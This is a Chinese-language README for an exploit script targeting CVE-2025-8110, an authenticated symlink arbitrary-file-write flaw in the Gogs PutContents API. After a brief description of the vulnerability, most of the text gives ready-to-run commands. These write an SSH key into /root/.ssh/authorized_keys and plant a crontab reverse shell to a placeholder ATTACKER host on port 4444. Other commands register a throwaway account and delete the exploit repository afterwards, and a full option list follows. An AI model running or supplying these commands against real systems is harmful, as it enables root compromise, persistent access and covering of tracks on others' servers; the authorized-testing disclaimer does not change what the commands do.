Gogs <= 0.13.3 容易受到通过 PutContents API (/api/v1/repos/:owner/:repo/contents/:path) 进行的任意文件写入攻击。
该 API 会对文件路径进行目录遍历序列 (../) 验证,但在写入之前 未 解析符号链接。已认证用户可推送一个包含指向服务器上任意文件的符号链接的提交,然后对该符号链接调用 PutContents,以攻击者控制的内容覆盖目标文件。
当 Gogs 以 root 用户运行时(Docker 及多数部署中的默认情况),这会导致系统完全沦陷。
| 详情 | 值 |
|---|---|
| CVE | CVE-2025-8110 |
| 受影响版本 | Gogs <= 0.13.3 |
| 类型 | 经认证的任意文件写入 → RCE |
| CVSS | 8.8(高危) |
| 组件 | PutContents API |
requests (pip install requests)git 命令行工具# 自助注册一次性账号 + 为 root 写入 SSH 公钥
python3 CVE-2025-8110.py --url http://target:3001 --register \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# 使用已有凭证
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# 通过 crontab 实现反弹 Shell
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /etc/crontab \
--content '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
# 使用后清理漏洞利用仓库
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub --cleanup
/root/.ssh/authorized_keys),提交并推送。root)。--url Gogs 基础 URL(例如 http://target:3001)
-u, --user Gogs 用户名
-p, --password Gogs 密码
--register 自助注册一次性账号(无需验证码)
--target-file 服务器上要覆盖的绝对路径
--content 要写入的字符串内容
--content-file 本地文件,其内容将被写入
--repo 要创建的仓库名称(默认:随机)
--link-name 仓库中的符号链接文件名(默认:payload)
--cleanup 写入后删除漏洞利用仓库
本工具仅用于授权的安全测试和教育目的。未经授权访问计算机系统属于违法行为。请负责任地使用。